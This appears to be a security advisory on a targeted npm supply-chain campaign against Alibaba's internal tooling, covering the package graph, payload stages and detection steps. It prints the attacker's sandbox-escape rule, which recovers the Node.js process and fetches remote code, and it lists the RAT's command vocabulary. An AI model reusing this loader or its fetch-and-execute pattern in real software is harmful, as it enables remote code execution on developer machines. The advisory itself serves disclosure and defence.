critical

CVE

Not assigned

CWE

CWE-506, CWE-94, CWE-829

Affected Surface

  • 18 malicious npm package names including `lib-mtop`, `aone-kit`, `aone-kit-cli`, `aone-sandbox`, `smart-config-manager`, `cloud-config-fetcher`, `local-config-parser`, `aone-cloud-cli`, `colder-cli`, `def-open-client`, `feedback-ai-sdk`, `flight-compare-analyzer`, `lwp-web-client`, `lzd-unified-station-sdk`, `open-worker-cli`, `test-skill-zip`, and `uniapi-bridge`
  • Developer workstations and CI environments that resolve private `@ali/*` packages while also installing the matching unscoped lookalikes
  • macOS, Windows, and Linux hosts that executed the follow-on `setting.js` or `aone-cli` payload stages

The freshest package-registry story worth adding today is not another one-file postinstall stealer. It is a targeted npm cluster that split its loader across multiple packages, a remote config fetcher, and a still-live GitHub-hosted rule file. Public research published on July 28 shows the cluster targeting developers inside Alibaba’s private @ali/* tooling ecosystem by publishing unscoped packages with the same names developers would expect to resolve internally.

What makes this incident worth an AppSec team’s attention is the execution design. The operator did not need one obviously malicious tarball that screamed “credential stealer.” Instead, the dependency tree is layered so that:

  1. top-level lure packages look like compatibility wrappers for internal Alibaba tooling
  2. a shared middle layer pulls in a config fetcher and a local rule parser
  3. a remote JSON rule escapes the parser’s sandbox and reaches raw Node.js primitives
  4. the fetched second stage pivots into platform-specific RAT behavior

That is a supply-chain attack on the trust boundary between internal package naming, dependency resolution, and developer automation.

Publicly confirmed affected package set

Socket’s public IOC list names 18 malicious npm package names, with an additional node-data-utils package described as part of the staging timeline. The roles break down as follows:

Role in the chainPublicly named packagesCurrent public signal
Initial lure / simple downloaderlib-mtopPublic malware advisory coverage now marks the package malicious; the registry latest is a 0.0.1-security holding version
Wrapper names matching internal @ali/* packagesaone-kit, aone-kit-cli, aone-sandboxSame pattern as lib-mtop: unscoped lookalikes, now redirected to security-holder releases
Shared execution coresmart-config-manager, cloud-config-fetcher, local-config-parserAll three now have public malicious-package advisories; current registry latest also points at 0.0.1-security
Top-layer delivery luresaone-cloud-cli, colder-cli, def-open-client, feedback-ai-sdk, flight-compare-analyzer, lwp-web-client, lzd-unified-station-sdk, open-worker-cli, test-skill-zip, uniapi-bridgeApril 28-29 publish wave with names that fit Alibaba developer-tooling patterns
Staging / smoke-test artifacts linked in public reportingfast-transform-pipeline, node-data-utilsReported as part of the same campaign buildup immediately before the wider publish wave

The naming strategy matters. The packages are unscoped, but the lure only becomes convincing in environments where developers already expect matching private @ali/* dependencies to exist. The public research specifically notes that this lets the install graph look normal inside the targeted organization while quietly grafting on the extra malicious subtree.

The dependency graph is the malware

The important architecture is not a single package; it is the graph:

aone-cloud-cli / colder-cli / ... / uniapi-bridge
  └─ smart-config-manager
     ├─ cloud-config-fetcher
     └─ local-config-parser
          └─ attacker-controlled rule expressions

lib-mtop
  └─ separate, simpler downloader path used as a probe / lure

Public reporting says the ten top-layer lure packages all depend on smart-config-manager, which in turn depends on cloud-config-fetcher and local-config-parser. That is more dangerous than a classic postinstall hook because each node in the graph can look individually defensible:

  • a “config manager”
  • a “config fetcher”
  • a “local parser”
  • a thin CLI wrapper

Taken together, they implement remote code delivery.

The live preferences.json file still shows the sandbox escape

The strongest surviving primary artifact is the still-live defaults/preferences.json file in smi1e2u/smart-config-manager. It is useful because it shows exactly how the attacker hid malicious logic inside what looks like a normal transform rule.

The same repository family also includes a benign-looking preset in fast-transform-pipeline/presets/demo.json. Its normalize rule looks like ordinary data shaping:

{
  "name": "normalize",
  "expression": "(function(){ var multipliers = { A: 0.85, B: 0.9, C: 0.7 }; return items.map(function(item) { var rate = multipliers[item.category] || 1; return Object.assign({}, item, { value: Math.round(item.value * rate), factor: rate }); }); })()"
}

The malicious preferences.json rule starts with the same innocent-looking multiplier logic, then pivots into a breakout:

(function () {
  var multipliers = { A: 0.85, B: 0.9, C: 0.7 };

  var F = items.constructor.constructor;
  var p = F("return process")();

  var _l = function (m) {
    if (typeof p.getBuiltinModule === "function") return p.getBuiltinModule(m);
    if (p.mainModule && p.mainModule.require) return p.mainModule.require(m);
    if (p.mainModule && p.mainModule.constructor && p.mainModule.constructor._load) {
      return p.mainModule.constructor._load(m);
    }
    return null;
  };

  var https = _l("https");
  var u = "https://aone-cli-next.oss-cn-beijing.aliyuncs.com/config/setting.js";
  https.get(u, function (r) { /* fetch and execute stage two */ });
})();

Two details matter here:

  1. items.constructor.constructor is used to recover the host Function constructor and then the real process object. That is the classic boundary break that turns “evaluate this local rule expression” into unrestricted runtime access.
  2. the rule does not merely return transformed data. It dynamically resolves https, reaches into Alibaba Cloud object storage, downloads JavaScript, and executes it.

This is why the package names alone are not the full story. Even if a defender only found preferences.json on disk, the expression body is enough to demonstrate that the “configuration” was the loader.

Why the escape is particularly dangerous in Node.js build paths

The breakout is not some abstract eval() complaint. Once the rule reaches process, it tries several loader recovery paths:

p.getBuiltinModule(m)
p.mainModule.require(m)
p.mainModule.constructor._load(m)
globalThis.module.constructor._load(m)
require(m)
globalThis.require(m)

That fallback ladder is operationally useful malware engineering:

  • it tolerates differences between Node.js versions
  • it tolerates changes in how the host app exposes require
  • it avoids relying on one brittle import primitive

If the surrounding tool actually does evaluate rule expressions in a vm-style context, the attacker has already anticipated the obvious guardrails and prepared multiple ways back out into the host process.

The second stage shifts from config abuse into host compromise

Socket’s reverse engineering shows that the fetched setting.js is not just a second downloader. It fingerprints the host and selects a platform-specific aone-cli payload:

PlatformPublicly described follow-on behavior
macOSinserts a background script into shell startup files and installs a Launch Agent
Windowskills the official Alilang security application and replaces app.asar with a trojanized copy
Linuxdownloads a binary payload to /tmp, launches it detached, then removes the on-disk file after loading

The recovered final payload is explicitly targeted at Alibaba’s internal environment. Public research describes:

  • command execution
  • file upload and download
  • host reconnaissance
  • encrypted reverse TCP proxying
  • DingTalk lateral movement
  • application-specific persistence
  • AI-tool poisoning through injected Python snippets in .skills-style directories

The command vocabulary published from the recovered loader is the giveaway that this is a full RAT, not a narrow credential scraper:

info
sleep
pwd
whoami
download
upload
execute
run_python
proxy
aisearch
aipoison
dws_lateral

That set lines up with industrial espionage tradecraft much more than smash-and-grab token theft.

Registry state now shows takedown activity, not safety

One subtle but useful independent signal is the registry’s current state. As of this writeup, the latest visible versions for lib-mtop, aone-kit, aone-kit-cli, aone-sandbox, local-config-parser, smart-config-manager, and cloud-config-fetcher all resolve to 0.0.1-security.

That is useful for scoping, but it is not a clean bill of health:

  • it means the registry has taken response action
  • it does not mean earlier installations are safe
  • it does not tell you where the packages already landed in internal mirrors, caches, or base images

For defenders, this is a “look backward” incident. The main question is where these packages were already resolved before the security-holder releases replaced them.

Detection and scoping

Start with package-name scoping across manifests, lockfiles, and internal mirror metadata:

rg -n \
  "lib-mtop|aone-kit|aone-kit-cli|aone-sandbox|local-config-parser|smart-config-manager|cloud-config-fetcher|aone-cloud-cli|colder-cli|def-open-client|feedback-ai-sdk|flight-compare-analyzer|lwp-web-client|lzd-unified-station-sdk|open-worker-cli|test-skill-zip|uniapi-bridge|fast-transform-pipeline" \
  package.json package-lock.json pnpm-lock.yaml yarn.lock

Then hunt for the surviving loader indicators and staging artifacts:

rg -n \
  "items\\.constructor\\.constructor|aone-cli-next\\.oss-cn-beijing\\.aliyuncs\\.com|smi1e2u/smart-config-manager|\\.cloud-preferences\\.json|__INJECT_MARKER__|ROBOT_UID" \
  .

Network and host telemetry should also focus on:

  • raw.githubusercontent.com/smi1e2u/smart-config-manager/main/defaults/preferences.json
  • aone-cli-next.oss-cn-beijing.aliyuncs.com
  • detached Node.js or temporary Linux payload activity rooted in /tmp
  • unusual DingTalk activity or Python-file modifications containing the published injection marker

If your environment includes Chinese-language developer tooling, expand hunting to enterprise collaboration tools and IDE add-ons rather than only package-manager credentials.

Response guidance

Treat any host that installed or loaded the affected packages as compromised, not merely exposed.

  1. isolate the machine before making changes
  2. preserve package caches, lockfiles, shell history, and suspicious config files such as .cloud-preferences.json
  3. rotate npm, GitHub, cloud, SSH, chat, CI/CD, and internal platform credentials from a separate clean machine
  4. inspect developer-tool and collaboration-tool directories for persistence, especially Python files carrying the published injection marker
  5. review source-control and artifact-publishing history for any follow-on abuse originating from the compromised workstation or runner

The main lesson is broader than this one campaign. Once organizations normalize “dynamic config” packages that evaluate expressions, a malicious dependency no longer needs a loud lifecycle hook. It can hide inside a rule engine, regain process, and turn the configuration layer itself into the malware runtime.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References